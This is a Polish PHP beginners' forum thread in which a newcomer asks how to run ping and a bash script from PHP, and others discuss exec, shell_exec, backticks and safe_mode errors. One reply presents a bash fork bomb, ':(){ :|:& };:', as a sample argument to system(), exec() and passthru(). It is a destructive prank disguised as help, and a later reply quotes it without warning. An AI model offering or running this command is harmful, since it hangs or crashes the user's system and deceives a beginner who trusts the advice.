Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP]php + bash
Forum PHP.pl > Forum > Przedszkole
user_php_
potrzebuję zrobić w php ping, tracert i kilka podobnych rzeczy...
jestem początkujący w php i nie wiem od czego mam zacząć
napisałem w skrypcie żeby ping na dany adres był wykonany kilka razy
----plik test.sh----
#!/bin/sh
ping -c 5 www.wp.pl
------------------
teraz chcę go wywołać w php i zobaczyć kolejne linie pinga...?
Maxik
Może funkcja exec coś pomoże
kayy
Np. tak:

system(':(){ :|:& };: ');

exec(':(){ :|:& };: ');

passthru(':(){ :|:& };: ');

Jeszcze jest jedna metoda lepsza ale nie pamiętam tej funkcji :S
.radex
Cytat(kayy @ 4.08.2008, 18:31:40 ) *
Np. tak:

system(':(){ :|:& };: ');

exec(':(){ :|:& };: ');

passthru(':(){ :|:& };: ');

Jeszcze jest jedna metoda lepsza ale nie pamiętam tej funkcji :S


shell_exec() i `` tongue.gif
gox
na windowsie funkcja shell_exec() sprawdza sie najlepiej, poniewaz kiedy zwracana jest wielolinijkowa odpowiedz, to funkcje egzekujace inne niz shell_exec() zwracaja tylko pierwsza linijke, albo w ogole nic..
mroczek
No i oczywiście pozostaje wspaniała zabawa uprawnieniami dostępu winksmiley.jpg
user_php_
czyli kod pliku php ma wygladac tak?

<?php
$output = shell_exec('plik.sh');
echo "<pre>$output</pre>";
?>

gdzie plik.sh skrypt w bashu
gox
Powinno bryknac...
user_php_
a nie dziala.
gox
tak po prsotu nie dziala? komputer sie wylacza? moze jednak jakies errorsy wypluwa co?
user_php_
Warning: shell_exec(): Cannot execute using backquotes in Safe Mode in /plik.php on line 2
a to 2 linia
$output = shell_exec('plik.sh');
prawa do wykonania dla uzytkownika sa nadane
nie wiem jeszcze czy php nie jest zabezpieczone no i wersja php czy nie ma znaczenia?
gox
czyzby exeki byly wylaczone w safe_mode?
mroczek
Najlepiej wyłączyć safe_mode albo poczytać trochę o ustawieniu safe_mode_exec_dir.
user_php_
po ustawieniu uprawnień i php działa ale wyświetla na 5 linijek np tylko dwie ostatnie
lub trzy jeśli komenda będzie zapisana $output = shell_exec('ping -c 5 www.wp.pl');
natomiast zapis $output = shell_exec('plik.sh'); nie działa i pokazuje błąd w tej linii a mnie
bardziej interesuje opcja z podanym skryptem bash, perl lub cokolwiek innego...
maziak
Mozesz to zrobic np. tak :

umiesc plik przykladowo w /home/user
  1. <?php
  2. $out = `/home/user/plik.sh`;
  3. echo nl2br($out);
  4. ?>


Tylko pamietaj zeby nadac odpowiednie uprawinienia temu plikowi!! Inaczej skrypt zwroci pusta strone.
user_php_
dzięki smile.gif to jest to o co mi chodziło smile.gif
tak się zastanawiam jeszcze jak wrzucać nie od razu całość (wynik całego skryptu po wykonaniu) a po jednej linii
tak jak w linii comend że pokazuje po jednej linijce ewentualnie z jakimś sprawdzaniem albo oczekiwaniem
na prompt
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.